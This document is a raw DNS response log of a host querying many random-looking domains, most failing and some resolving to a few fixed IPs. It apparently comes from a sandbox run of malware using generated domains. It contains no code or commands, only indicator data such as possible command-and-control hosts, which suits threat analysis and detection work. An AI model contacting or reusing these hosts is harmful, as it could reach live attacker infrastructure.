Dec 4, 2023 12:33:45.463345051 CET	1.1.1.1	192.168.2.6	0xf0af	Name error (3)	qqacnyk.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:45.885082960 CET	1.1.1.1	192.168.2.6	0xc62a	Name error (3)	cnatouspvkh.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:45.993086100 CET	1.1.1.1	192.168.2.6	0x9e25	Name error (3)	cnatouspvkh.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:46.923248053 CET	1.1.1.1	192.168.2.6	0x74a7	Name error (3)	cskyklyesjs.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:47.264946938 CET	1.1.1.1	192.168.2.6	0x612c	Name error (3)	cskyklyesjs.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:47.483172894 CET	1.1.1.1	192.168.2.6	0xf26e	Name error (3)	yroay.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:47.783410072 CET	1.1.1.1	192.168.2.6	0x1826	Name error (3)	yroay.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:47.998986006 CET	1.1.1.1	192.168.2.6	0x7e5e	No error (0)	rtywmau.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:49.886192083 CET	1.1.1.1	192.168.2.6	0x8dcc	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:50.841433048 CET	1.1.1.1	192.168.2.6	0x864b	Name error (3)	pososlwpvklst.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:51.041625977 CET	1.1.1.1	192.168.2.6	0xd504	Name error (3)	pososlwpvklst.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:51.345144033 CET	1.1.1.1	192.168.2.6	0x932d	Name error (3)	oiqwotkmswmgrm.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:51.545145035 CET	1.1.1.1	192.168.2.6	0x6d8f	Name error (3)	oiqwotkmswmgrm.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:52.024035931 CET	1.1.1.1	192.168.2.6	0x4c06	Name error (3)	akaxbihvsec.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:52.224350929 CET	1.1.1.1	192.168.2.6	0x933f	Name error (3)	akaxbihvsec.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:52.532699108 CET	1.1.1.1	192.168.2.6	0x5571	Name error (3)	yfuhzww.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:52.736607075 CET	1.1.1.1	192.168.2.6	0x2d84	Name error (3)	yfuhzww.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:53.196541071 CET	1.1.1.1	192.168.2.6	0xb3e5	Name error (3)	sosef.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:53.559214115 CET	1.1.1.1	192.168.2.6	0xbae1	Name error (3)	sosef.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:53.885102034 CET	1.1.1.1	192.168.2.6	0xa7f2	Name error (3)	qncsduvoobluey.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:54.278454065 CET	1.1.1.1	192.168.2.6	0xdd18	Name error (3)	qncsduvoobluey.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:54.487736940 CET	1.1.1.1	192.168.2.6	0xd464	No error (0)	baisi.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:55.170527935 CET	1.1.1.1	192.168.2.6	0xb9bc	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.126485109 CET	1.1.1.1	192.168.2.6	0xe9ba	Name error (3)	ekscwgcwngw.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.236095905 CET	1.1.1.1	192.168.2.6	0x2363	Name error (3)	ekscwgcwngw.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.459471941 CET	1.1.1.1	192.168.2.6	0xe016	Name error (3)	qdhhf.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.562922955 CET	1.1.1.1	192.168.2.6	0x9bc0	Name error (3)	qdhhf.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:56.871112108 CET	1.1.1.1	192.168.2.6	0x730e	Name error (3)	mrksigequohiy.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:57.067941904 CET	1.1.1.1	192.168.2.6	0xa655	Name error (3)	mrksigequohiy.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:57.280878067 CET	1.1.1.1	192.168.2.6	0x2f26	No error (0)	uqfqsyvauiujx.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:57.637734890 CET	1.1.1.1	192.168.2.6	0x7b17	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:58.591548920 CET	1.1.1.1	192.168.2.6	0x5775	Name error (3)	xesez.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:58.697700977 CET	1.1.1.1	192.168.2.6	0xe588	Name error (3)	xesez.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:59.000037909 CET	1.1.1.1	192.168.2.6	0x1f39	Name error (3)	asotngqz.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:59.202936888 CET	1.1.1.1	192.168.2.6	0xf8d9	Name error (3)	asotngqz.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:59.439368963 CET	1.1.1.1	192.168.2.6	0xed01	Name error (3)	kiizskkik.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:59.552299976 CET	1.1.1.1	192.168.2.6	0xf9a5	Name error (3)	kiizskkik.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:00.020865917 CET	1.1.1.1	192.168.2.6	0x80df	Name error (3)	kgmaiwktywawg.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:00.392385960 CET	1.1.1.1	192.168.2.6	0xc767	Name error (3)	kgmaiwktywawg.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:00.805933952 CET	1.1.1.1	192.168.2.6	0x6c5f	Name error (3)	hftqf.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:01.362413883 CET	1.1.1.1	192.168.2.6	0xaf2c	Name error (3)	hftqf.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:01.703304052 CET	1.1.1.1	192.168.2.6	0x4c84	Name error (3)	icfuk.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:01.905298948 CET	1.1.1.1	192.168.2.6	0x4c8c	Name error (3)	icfuk.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:02.254599094 CET	1.1.1.1	192.168.2.6	0x34be	Name error (3)	ymkeavj.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:02.359318018 CET	1.1.1.1	192.168.2.6	0x4848	Name error (3)	ymkeavj.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:02.846921921 CET	1.1.1.1	192.168.2.6	0x1bf8	Name error (3)	posly.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:02.963272095 CET	1.1.1.1	192.168.2.6	0xfda8	Name error (3)	posly.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:03.327825069 CET	1.1.1.1	192.168.2.6	0x563a	No error (0)	usckmkwwcaiwt.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:04.155618906 CET	1.1.1.1	192.168.2.6	0x1374	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:05.120908022 CET	1.1.1.1	192.168.2.6	0xfc45	Name error (3)	wwhoyfa.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:06.447062016 CET	1.1.1.1	192.168.2.6	0xfb20	Name error (3)	wwhoyfa.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:07.454262018 CET	1.1.1.1	192.168.2.6	0x93e9	Name error (3)	gqaapeb.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:07.648468018 CET	1.1.1.1	192.168.2.6	0x2128	Name error (3)	gqaapeb.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:08.016165972 CET	1.1.1.1	192.168.2.6	0x5c7	Name error (3)	ygwkkgxmaqkuy.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:08.279035091 CET	1.1.1.1	192.168.2.6	0x8a2b	Name error (3)	ygwkkgxmaqkuy.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:08.485073090 CET	1.1.1.1	192.168.2.6	0xcec5	Name error (3)	vslsnywowdoqi.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:08.679533005 CET	1.1.1.1	192.168.2.6	0x8a7e	Name error (3)	vslsnywowdoqi.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:09.060853004 CET	1.1.1.1	192.168.2.6	0x3da6	No error (0)	qcmono.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:09.534280062 CET	1.1.1.1	192.168.2.6	0xb0a7	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:10.649914980 CET	1.1.1.1	192.168.2.6	0xc3a6	No error (0)	zluqmhg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:10.968008995 CET	1.1.1.1	192.168.2.6	0xcef5	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.095252991 CET	1.1.1.1	192.168.2.6	0xc0b0	Name error (3)	qlypuqp.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.292326927 CET	1.1.1.1	192.168.2.6	0x5e2	Name error (3)	qlypuqp.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.508102894 CET	1.1.1.1	192.168.2.6	0xc228	Name error (3)	qwojeiwehwq.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.619302988 CET	1.1.1.1	192.168.2.6	0x5896	Name error (3)	qwojeiwehwq.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.837238073 CET	1.1.1.1	192.168.2.6	0xe166	Name error (3)	xmukjiayiua.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:12.940038919 CET	1.1.1.1	192.168.2.6	0xedc8	Name error (3)	xmukjiayiua.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:13.246474028 CET	1.1.1.1	192.168.2.6	0xfd6f	Name error (3)	twwcxivqwqpag.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:13.449289083 CET	1.1.1.1	192.168.2.6	0x7c16	Name error (3)	twwcxivqwqpag.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:13.893498898 CET	1.1.1.1	192.168.2.6	0xa57c	Name error (3)	lxjsdmwoe.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:14.251924038 CET	1.1.1.1	192.168.2.6	0x20a4	Name error (3)	lxjsdmwoe.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:14.467398882 CET	1.1.1.1	192.168.2.6	0x8633	Name error (3)	kglgmgeh.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:14.801016092 CET	1.1.1.1	192.168.2.6	0xf856	Name error (3)	kglgmgeh.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:15.109292984 CET	1.1.1.1	192.168.2.6	0xf8db	Name error (3)	ywscm.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:15.307766914 CET	1.1.1.1	192.168.2.6	0xba9c	Name error (3)	ywscm.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:15.516959906 CET	1.1.1.1	192.168.2.6	0xa357	Name error (3)	wjsdccsmqu.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:15.846267939 CET	1.1.1.1	192.168.2.6	0x802b	Name error (3)	wjsdccsmqu.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:16.154112101 CET	1.1.1.1	192.168.2.6	0x24e7	Name error (3)	mmssedkyij.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:16.356323957 CET	1.1.1.1	192.168.2.6	0x40c4	Name error (3)	mmssedkyij.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:16.580807924 CET	1.1.1.1	192.168.2.6	0x4b25	Name error (3)	xzdzosifkmda.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:16.701497078 CET	1.1.1.1	192.168.2.6	0x1597	Name error (3)	xzdzosifkmda.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:17.001616955 CET	1.1.1.1	192.168.2.6	0x9c1d	Name error (3)	imncrmx.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:17.209538937 CET	1.1.1.1	192.168.2.6	0x11a6	Name error (3)	imncrmx.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:17.577163935 CET	1.1.1.1	192.168.2.6	0xd86f	Name error (3)	mqsjyksp.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:17.688766956 CET	1.1.1.1	192.168.2.6	0x22fc	Name error (3)	mqsjyksp.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:18.624236107 CET	1.1.1.1	192.168.2.6	0x36b3	Name error (3)	qogryka.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:19.396136045 CET	1.1.1.1	192.168.2.6	0xd198	Name error (3)	qogryka.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:19.715348959 CET	1.1.1.1	192.168.2.6	0x409a	Name error (3)	nzuut.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:19.816256046 CET	1.1.1.1	192.168.2.6	0xcc18	Name error (3)	nzuut.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:20.094516039 CET	1.1.1.1	192.168.2.6	0x42e8	No error (0)	gymjcco.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:20.738217115 CET	1.1.1.1	192.168.2.6	0x56ce	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:21.590019941 CET	1.1.1.1	192.168.2.6	0x53eb	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:22.425426006 CET	1.1.1.1	192.168.2.6	0x76bb	Name error (3)	cxyojompvsg.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:22.792622089 CET	1.1.1.1	192.168.2.6	0x96e1	Name error (3)	cxyojompvsg.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:23.109364033 CET	1.1.1.1	192.168.2.6	0x1fb1	No error (0)	odumu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:24.692276955 CET	1.1.1.1	192.168.2.6	0x6a64	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:25.639626980 CET	1.1.1.1	192.168.2.6	0x5472	Name error (3)	ccstfdkaf.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:25.757833004 CET	1.1.1.1	192.168.2.6	0x443a	Name error (3)	ccstfdkaf.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:26.113523006 CET	1.1.1.1	192.168.2.6	0xc67e	No error (0)	qwgaoioloeo.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:26.511336088 CET	1.1.1.1	192.168.2.6	0x110c	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:27.498847961 CET	1.1.1.1	192.168.2.6	0x4ab0	Name error (3)	raiwk.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:27.613647938 CET	1.1.1.1	192.168.2.6	0x5a3	Name error (3)	raiwk.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:27.828320980 CET	1.1.1.1	192.168.2.6	0xdc51	Name error (3)	koavbgwohct.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:28.030561924 CET	1.1.1.1	192.168.2.6	0xce68	Name error (3)	koavbgwohct.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:28.232971907 CET	1.1.1.1	192.168.2.6	0x371d	Name error (3)	ypgqlwwu.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:28.355809927 CET	1.1.1.1	192.168.2.6	0x6a4c	Name error (3)	ypgqlwwu.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:28.782855988 CET	1.1.1.1	192.168.2.6	0x76a6	Name error (3)	zikyctgryiz.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:28.899147987 CET	1.1.1.1	192.168.2.6	0x8f4	Name error (3)	zikyctgryiz.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:29.107460976 CET	1.1.1.1	192.168.2.6	0xe34b	No error (0)	ihtwceiof.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:29.568316936 CET	1.1.1.1	192.168.2.6	0x6e7	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:30.625083923 CET	1.1.1.1	192.168.2.6	0x4f67	Name error (3)	gswpvik.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:30.838818073 CET	1.1.1.1	192.168.2.6	0xd809	Name error (3)	gswpvik.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:31.046076059 CET	1.1.1.1	192.168.2.6	0xac3	Name error (3)	wkvoqsqsanq.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:31.162827015 CET	1.1.1.1	192.168.2.6	0x28d0	Name error (3)	wkvoqsqsanq.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:31.374754906 CET	1.1.1.1	192.168.2.6	0x568b	Name error (3)	ieqiukyskycdo.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:31.589375973 CET	1.1.1.1	192.168.2.6	0xef9e	Name error (3)	ieqiukyskycdo.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:32.074598074 CET	1.1.1.1	192.168.2.6	0x3e24	Name error (3)	czascqiszus.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:32.294836044 CET	1.1.1.1	192.168.2.6	0x699e	Name error (3)	czascqiszus.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:32.691587925 CET	1.1.1.1	192.168.2.6	0x93bb	Name error (3)	ijroiwggm.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:32.903476954 CET	1.1.1.1	192.168.2.6	0xa938	Name error (3)	ijroiwggm.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:33.107956886 CET	1.1.1.1	192.168.2.6	0xdb4f	Name error (3)	wcsgixge.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:33.940361977 CET	1.1.1.1	192.168.2.6	0xf554	Name error (3)	wcsgixge.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:34.307801008 CET	1.1.1.1	192.168.2.6	0x73cf	Name error (3)	skersccqgiu.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:34.581765890 CET	1.1.1.1	192.168.2.6	0xa04c	Name error (3)	skersccqgiu.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:34.793890953 CET	1.1.1.1	192.168.2.6	0x15f6	Name error (3)	eyaeqgsws.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:34.907638073 CET	1.1.1.1	192.168.2.6	0xe861	Name error (3)	eyaeqgsws.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:35.107311964 CET	1.1.1.1	192.168.2.6	0x38e5	No error (0)	kzjaojkoiyu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:35.475306988 CET	1.1.1.1	192.168.2.6	0xdd15	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:36.674166918 CET	1.1.1.1	192.168.2.6	0x9ad0	Name error (3)	easeu.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:37.026911020 CET	1.1.1.1	192.168.2.6	0x52a8	Name error (3)	easeu.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:37.324960947 CET	1.1.1.1	192.168.2.6	0x9124	Name error (3)	cxqmayuigif.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:37.526546955 CET	1.1.1.1	192.168.2.6	0xb34c	Name error (3)	cxqmayuigif.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:37.980882883 CET	1.1.1.1	192.168.2.6	0x87d	Name error (3)	gzgjpnqgthsast.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:38.368390083 CET	1.1.1.1	192.168.2.6	0x7eae	Name error (3)	gzgjpnqgthsast.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:38.576426029 CET	1.1.1.1	192.168.2.6	0x5976	Name error (3)	cmokmayod.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:38.904438019 CET	1.1.1.1	192.168.2.6	0x6240	Name error (3)	cmokmayod.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:39.110501051 CET	1.1.1.1	192.168.2.6	0x4887	No error (0)	apyiycwwid.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:39.515325069 CET	1.1.1.1	192.168.2.6	0xbd17	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:40.825994015 CET	1.1.1.1	192.168.2.6	0x8f25	Name error (3)	conprak.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:41.034162045 CET	1.1.1.1	192.168.2.6	0xe230	Name error (3)	conprak.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:41.249247074 CET	1.1.1.1	192.168.2.6	0x579	No error (0)	pkimoce.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:41.633023977 CET	1.1.1.1	192.168.2.6	0x67e9	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:42.600311995 CET	1.1.1.1	192.168.2.6	0x595d	Name error (3)	fgoswcabyak.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:42.706691027 CET	1.1.1.1	192.168.2.6	0x3f70	Name error (3)	fgoswcabyak.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:42.922722101 CET	1.1.1.1	192.168.2.6	0xdee2	Name error (3)	eqmaa.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:43.049458981 CET	1.1.1.1	192.168.2.6	0x2d24	Name error (3)	eqmaa.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:43.356615067 CET	1.1.1.1	192.168.2.6	0x9e77	Name error (3)	yswouqjaca.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:43.493520021 CET	1.1.1.1	192.168.2.6	0xeda8	Name error (3)	yswouqjaca.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:43.961507082 CET	1.1.1.1	192.168.2.6	0xf278	Name error (3)	mboyu.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:44.330094099 CET	1.1.1.1	192.168.2.6	0x9c4a	Name error (3)	mboyu.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:44.546360016 CET	1.1.1.1	192.168.2.6	0x5c93	Name error (3)	lnzuxczyhui.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:44.765311003 CET	1.1.1.1	192.168.2.6	0x456a	Name error (3)	lnzuxczyhui.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:44.967989922 CET	1.1.1.1	192.168.2.6	0xf95c	Name error (3)	owasakjoeiomm.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:45.080961943 CET	1.1.1.1	192.168.2.6	0xa7f5	Name error (3)	owasakjoeiomm.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:45.294464111 CET	1.1.1.1	192.168.2.6	0x3022	No error (0)	ymkdzou.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:45.682743073 CET	1.1.1.1	192.168.2.6	0x9c9c	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:46.625319958 CET	1.1.1.1	192.168.2.6	0x7088	Name error (3)	nxsmsoa.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:46.725761890 CET	1.1.1.1	192.168.2.6	0xafd2	Name error (3)	nxsmsoa.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:46.936439991 CET	1.1.1.1	192.168.2.6	0x9829	Name error (3)	nogwayfyz.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:47.047629118 CET	1.1.1.1	192.168.2.6	0xbb8e	Name error (3)	nogwayfyz.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:47.247474909 CET	1.1.1.1	192.168.2.6	0x14ff	Name error (3)	kqvygqi.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:47.347696066 CET	1.1.1.1	192.168.2.6	0x8826	Name error (3)	kqvygqi.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:47.839881897 CET	1.1.1.1	192.168.2.6	0x322f	Name error (3)	mysuh.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:48.184587955 CET	1.1.1.1	192.168.2.6	0x7e5c	Name error (3)	mysuh.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:48.388643980 CET	1.1.1.1	192.168.2.6	0x9495	No error (0)	eqekk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:48.687933922 CET	1.1.1.1	192.168.2.6	0xc68	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:48.800064087 CET	1.1.1.1	192.168.2.6	0x702b	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:49.012315989 CET	1.1.1.1	192.168.2.6	0xeb76	Name error (3)	qnogblecjea.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:49.118140936 CET	1.1.1.1	192.168.2.6	0x666b	Name error (3)	qnogblecjea.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:49.547508001 CET	1.1.1.1	192.168.2.6	0xfa5	Name error (3)	ikcbifkwlk.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:49.663371086 CET	1.1.1.1	192.168.2.6	0xf46e	Name error (3)	ikcbifkwlk.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.023746967 CET	1.1.1.1	192.168.2.6	0xe04a	No error (0)	ouydc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.331908941 CET	1.1.1.1	192.168.2.6	0x4ca5	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.437705994 CET	1.1.1.1	192.168.2.6	0xc7b2	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.640779972 CET	1.1.1.1	192.168.2.6	0xcad9	Name error (3)	yuufw.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:50.748467922 CET	1.1.1.1	192.168.2.6	0xbb10	Name error (3)	yuufw.museum	none	none	A (IP address)	IN (0x0001)	false
